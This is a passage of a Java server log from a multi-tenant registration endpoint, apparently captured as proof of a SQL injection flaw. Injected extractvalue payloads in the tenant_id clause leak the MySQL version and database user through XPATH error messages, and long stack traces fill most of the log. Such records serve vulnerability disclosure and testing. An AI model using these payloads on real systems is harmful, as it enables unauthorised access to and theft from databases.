for synchronization because synchronization is not active +JDBC Connection [HikariProxyConnection@214714929 wrapping com.mysql.cj.jdbc.ConnectionImpl@e9301dc] will not be managed by Spring +==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1' +==> Parameters: sys.account.registerUser(String) +2026-09-16 14:49:32 [XNIO-1 task-2] WARN  c.zaxxer.hikari.pool.ProxyConnection + - master - Connection com.mysql.cj.jdbc.ConnectionImpl@e9301dc marked as broken because of SQLSTATE(HY000), ErrorCode(1105) +java.sql.SQLException: XPATH syntax error: '~5.7.39-log' + at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:121) + at com.mysql.cj.jdbc.exceptions.SQLExceptionsMapping.translateException(SQLExceptionsMapping.java:114) + at com.mysql.cj.jdbc.ClientPreparedStatement.executeInternal(ClientPreparedStatement.java:988) + at com.mysql.cj.jdbc.ClientPreparedStatement.execute(ClientPreparedStatement.java:382) + at com.zaxxer.hikari.pool.ProxyPreparedStatement.execute(ProxyPreparedStatement.java:44) + at com.zaxxer.hikari.pool.HikariProxyPreparedStatement.execute(HikariProxyPreparedStatement.java) + at jdk.internal.reflect.GeneratedMethodAccessor48.invoke(Unknown Source) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.apache.ibatis.logging.jdbc.PreparedStatementLogger.invoke(PreparedStatementLogger.java:58) + at jdk.proxy3/jdk.proxy3.$Proxy426.execute(Unknown Source) + at org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java:65) + at org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:80) + at jdk.internal.reflect.GeneratedMethodAccessor53.invoke(Unknown Source) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:61) + at jdk.proxy2/jdk.proxy2.$Proxy424.query(Unknown Source) + at org.apache.ibatis.executor.SimpleExecutor.doQuery(SimpleExecutor.java:65) + at org.apache.ibatis.executor.BaseExecutor.queryFromDatabase(BaseExecutor.java:336) + at org.apache.ibatis.executor.BaseExecutor.query(BaseExecutor.java:158) + at org.apache.ibatis.executor.CachingExecutor.query(CachingExecutor.java:110) + at com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor.intercept(MybatisPlusInterceptor.java:81) + at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:59) + at jdk.proxy2/jdk.proxy2.$Proxy423.query(Unknown Source) + at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:154) + at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:147) + at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:142) + at jdk.internal.reflect.GeneratedMethodAccessor63.invoke(Unknown Source) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:333) + at jdk.proxy2/jdk.proxy2.$Proxy156.selectList(Unknown Source) + at org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:194) + at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.executeForMany(MybatisMapperMethod.java:164) + at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.execute(MybatisMapperMethod.java:77) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$PlainMethodInvoker.invoke(MybatisMapperProxy.java:156) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93) + at jdk.proxy2/jdk.proxy2.$Proxy176.selectList(Unknown Source) + at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:332) + at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:172) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93) + at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source) + at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:321) + at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:182) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93) + at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source) + at org.dromara.system.service.impl.SysConfigServiceImpl.lambda$selectRegisterEnabled$0(SysConfigServiceImpl.java:87) + at org.dromara.common.tenant.helper.TenantHelper.dynamic(TenantHelper.java:211) + at org.dromara.system.service.impl.SysConfigServiceImpl.selectRegisterEnabled(SysConfigServiceImpl.java:86) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:359) + at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:724) + at org.dromara.system.service.impl.SysConfigServiceImpl$$SpringCGLIB$$0.selectRegisterEnabled() + at org.dromara.web.controller.AuthController.register(AuthController.java:186) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:258) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:191) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:986) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:891) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:547) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:614) + at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129) + at org.springframework.web.filter.CorsFilter.doFilterInternal(CorsFilter.java:91) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.dromara.common.web.filter.RepeatableFilter.doFilter(RepeatableFilter.java:32) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaServletFilter.doFilter(SaServletFilter.java:143) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaFirewallCheckFilterForJakartaServlet.doFilter(SaFirewallCheckFilterForJakartaServlet.java:69) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaTokenCorsFilterForJakartaServlet.doFilter(SaTokenCorsFilterForJakartaServlet.java:52) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaTokenContextFilterForJakartaServlet.doFilter(SaTokenContextFilterForJakartaServlet.java:40) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.ServerHttpObservationFilter.doFilterInternal(ServerHttpObservationFilter.java:114) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.dromara.common.web.filter.XssFilter.doFilter(XssFilter.java:42) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84) + at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62) + at io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68) + at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) + at io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68) + at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117) + at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46) + at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64) + at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60) + at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77) + at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:276) + at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135) + at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:132) + at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48) + at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43) + at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:256) + at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:101) + at io.undertow.server.Connectors.executeRootHandler(Connectors.java:395) + at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:861) + at org.jboss.threads.ContextHandler$1.runWith(ContextHandler.java:18) + at org.jboss.threads.EnhancedQueueExecutor$Task.run(EnhancedQueueExecutor.java:2513) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538) + at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) + at java.base/java.lang.Thread.run(Thread.java:840) +Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@78067be3] +2026-09-16 14:49:32 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler + - 请求地址'/auth/register',发生未知异常. +org.springframework.jdbc.UncategorizedSQLException: +### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log' +### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess) +### The error may involve defaultParameterMap +### The error occurred while setting parameters +### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1' +### Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log' +; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~5.7.39-log' + at org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTranslator.java:94) + at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:347) + at jdk.proxy2/jdk.proxy2.$Proxy156.selectList(Unknown Source) + at org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:194) + at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.executeForMany(MybatisMapperMethod.java:164) + at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.execute(MybatisMapperMethod.java:77) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$PlainMethodInvoker.invoke(MybatisMapperProxy.java:156) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93) + at jdk.proxy2/jdk.proxy2.$Proxy176.selectList(Unknown Source) + at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:332) + at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:172) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93) + at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source) + at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:321) + at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:182) + at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93) + at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source) + at org.dromara.system.service.impl.SysConfigServiceImpl.lambda$selectRegisterEnabled$0(SysConfigServiceImpl.java:87) + at org.dromara.common.tenant.helper.TenantHelper.dynamic(TenantHelper.java:211) + at org.dromara.system.service.impl.SysConfigServiceImpl.selectRegisterEnabled(SysConfigServiceImpl.java:86) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:359) + at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:724) + at org.dromara.system.service.impl.SysConfigServiceImpl$$SpringCGLIB$$0.selectRegisterEnabled() + at org.dromara.web.controller.AuthController.register(AuthController.java:186) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:258) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:191) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:986) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:891) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:547) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:614) + at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129) + at org.springframework.web.filter.CorsFilter.doFilterInternal(CorsFilter.java:91) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.dromara.common.web.filter.RepeatableFilter.doFilter(RepeatableFilter.java:32) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaServletFilter.doFilter(SaServletFilter.java:143) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaFirewallCheckFilterForJakartaServlet.doFilter(SaFirewallCheckFilterForJakartaServlet.java:69) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaTokenCorsFilterForJakartaServlet.doFilter(SaTokenCorsFilterForJakartaServlet.java:52) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at cn.dev33.satoken.filter.SaTokenContextFilterForJakartaServlet.doFilter(SaTokenContextFilterForJakartaServlet.java:40) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.ServerHttpObservationFilter.doFilterInternal(ServerHttpObservationFilter.java:114) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.dromara.common.web.filter.XssFilter.doFilter(XssFilter.java:42) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84) + at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62) + at io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68) + at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) + at io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68) + at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117) + at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46) + at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64) + at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60) + at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77) + at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:276) + at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135) + at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:132) + at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48) + at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43) + at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:256) + at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:101) + at io.undertow.server.Connectors.executeRootHandler(Connectors.java:395) + at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:861) + at org.jboss.threads.ContextHandler$1.runWith(ContextHandler.java:18) + at org.jboss.threads.EnhancedQueueExecutor$Task.run(EnhancedQueueExecutor.java:2513) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538) + at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) + at java.base/java.lang.Thread.run(Thread.java:840) +Caused by: java.sql.SQLException: XPATH syntax error: '~5.7.39-log' + at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:121) + at com.mysql.cj.jdbc.exceptions.SQLExceptionsMapping.translateException(SQLExceptionsMapping.java:114) + at com.mysql.cj.jdbc.ClientPreparedStatement.executeInternal(ClientPreparedStatement.java:988) + at com.mysql.cj.jdbc.ClientPreparedStatement.execute(ClientPreparedStatement.java:382) + at com.zaxxer.hikari.pool.ProxyPreparedStatement.execute(ProxyPreparedStatement.java:44) + at com.zaxxer.hikari.pool.HikariProxyPreparedStatement.execute(HikariProxyPreparedStatement.java) + at jdk.internal.reflect.GeneratedMethodAccessor48.invoke(Unknown Source) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.apache.ibatis.logging.jdbc.PreparedStatementLogger.invoke(PreparedStatementLogger.java:58) + at jdk.proxy3/jdk.proxy3.$Proxy426.execute(Unknown Source) + at org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java:65) + at org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:80) + at jdk.internal.reflect.GeneratedMethodAccessor53.invoke(Unknown Source) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:61) + at jdk.proxy2/jdk.proxy2.$Proxy424.query(Unknown Source) + at org.apache.ibatis.executor.SimpleExecutor.doQuery(SimpleExecutor.java:65) + at org.apache.ibatis.executor.BaseExecutor.queryFromDatabase(BaseExecutor.java:336) + at org.apache.ibatis.executor.BaseExecutor.query(BaseExecutor.java:158) + at org.apache.ibatis.executor.CachingExecutor.query(CachingExecutor.java:110) + at com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor.intercept(MybatisPlusInterceptor.java:81) + at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:59) + at jdk.proxy2/jdk.proxy2.$Proxy423.query(Unknown Source) + at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:154) + at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:147) + at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:142) + at jdk.internal.reflect.GeneratedMethodAccessor63.invoke(Unknown Source) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base/java.lang.reflect.Method.invoke(Method.java:569) + at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:333) + ... 115 common frames omitted +Creating a new SqlSession +SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@293b36f8] was not registered for synchronization because synchronization is not active +JDBC Connection [HikariProxyConnection@1203979072 wrapping com.mysql.cj.jdbc.ConnectionImpl@74224bcb] will not be managed by Spring +==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1' +==> Parameters: sys.account.registerUser(String) +2026-09-16 14:50:08 [XNIO-1 task-2] WARN  c.zaxxer.hikari.pool.ProxyConnection + - master - Connection com.mysql.cj.jdbc.ConnectionImpl@74224bcb marked as broken because of SQLSTATE(HY000), ErrorCode(1105) +java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68' + at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:121) + at com.mysql.cj.jdbc.exceptions.SQLExceptionsMapping.translateException(SQLExceptionsMapping.java:114) + at 